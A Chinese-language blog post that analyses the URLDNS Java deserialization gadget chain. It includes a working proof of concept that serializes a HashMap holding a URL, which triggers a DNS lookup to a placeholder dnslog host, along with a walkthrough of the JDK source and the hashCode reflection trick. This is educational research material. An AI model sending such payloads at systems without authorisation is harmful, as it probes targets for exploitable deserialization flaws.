URLDNS
优点
使用Java内置的类构造,对第三方库没有依赖在目标没有回显的时候,能够通过DNS来判断是否存在反序列化漏洞
Gadget Chain
HashMap.readObject() HashMap.putVal() HashMap.hash() URL.hashCode()
Exp
package exploit;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;public class DnsLogTest { public static void main(String[] args) throws Exception { HashMap hashMap = new HashMap(); URL url = new URL("http://xxx.dnslog.cn"); Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); f.setAccessible(true); f.set(url, 0xdeadbeef); hashMap.put(url, "y4er122"); f.set(url, -1); //序列化 FileOutputStream fo = new FileOutputStream("dnslog.ser"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fo); objectOutputStream.writeObject(hashMap); objectOutputStream.close(); //反序列化 FileInputStream fis = new FileInputStream("dnslog.ser"); ObjectInputStream ois = new ObjectInputStream(fis); ois.readObject(); }}
查看dnslog
gadget分析
查看HashMap的readObject方法
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { // Read in the threshold (ignored), loadfactor, and any hidden stuff s.defaultReadObject(); reinitialize(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new InvalidObjectException("Illegal load factor: " + loadFactor); s.readInt(); // Read and ignore number of buckets int mappings = s.readInt(); // Read number of mappings (size) if (mappings < 0) throw new InvalidObjectException("Illegal mappings count: " + mappings); else if (mappings > 0) { // (if zero, use defaults) // Size the table using given load factor only if within // range of 0.25...4.0 float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f); float fc = (float)mappings / lf + 1.0f; int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (fc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int)fc)); float ft = (float)cap * lf; threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int)ft : Integer.MAX_VALUE); // Check Map.Entry[].class since it's the nearest public type to // what we're actually creating. SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap); @SuppressWarnings({"rawtypes","unchecked"}) Node<K,V>[] tab = (Node<K,V>[])new Node[cap]; table = tab; // Read the keys and values, and put the mappings in the HashMap for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); } } }
关键点
putVal(hash(key), key, value, false, false);
跟进hash方法
key不为空跟进hashCode方法,如果hashCode等于负一进入handler.hashCode方法,跟进hashCode方法
public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; }
跟进getHostAddress方法
protected synchronized InetAddress getHostAddress(URL u) { if (u.hostAddress != null) return u.hostAddress; String host = u.getHost(); if (host == null || host.equals("")) { return null; } else { try { u.hostAddress = InetAddress.getByName(host); } catch (UnknownHostException ex) { return null; } catch (SecurityException se) { return null; } } return u.hostAddress;
InetAddress.getByName()
确定主机名称的IP地址,就会请求传入的DnsLog地址
要点
f.set(url, 0xdeadbeef)
1.如果之前没有f.set(url, 0xdeadbeef);修改hashCode,就会完成DNS查询的同时,计算出hashCode,从而修改成不为-1的值。这个hashcode会被序列化传输,到对方机器时就会因为不是-1而跳过DNS查询流程2.如果之前修改了hashCode,那自然也会直接被序列化传输,不是-1也会跳过DNS查询流程,所以需要f.set(url, -1);把这个字段改回来-1。
参考
https://www.anquanke.com/post/id/201762
分享、点赞、在看就是对我们的一种支持!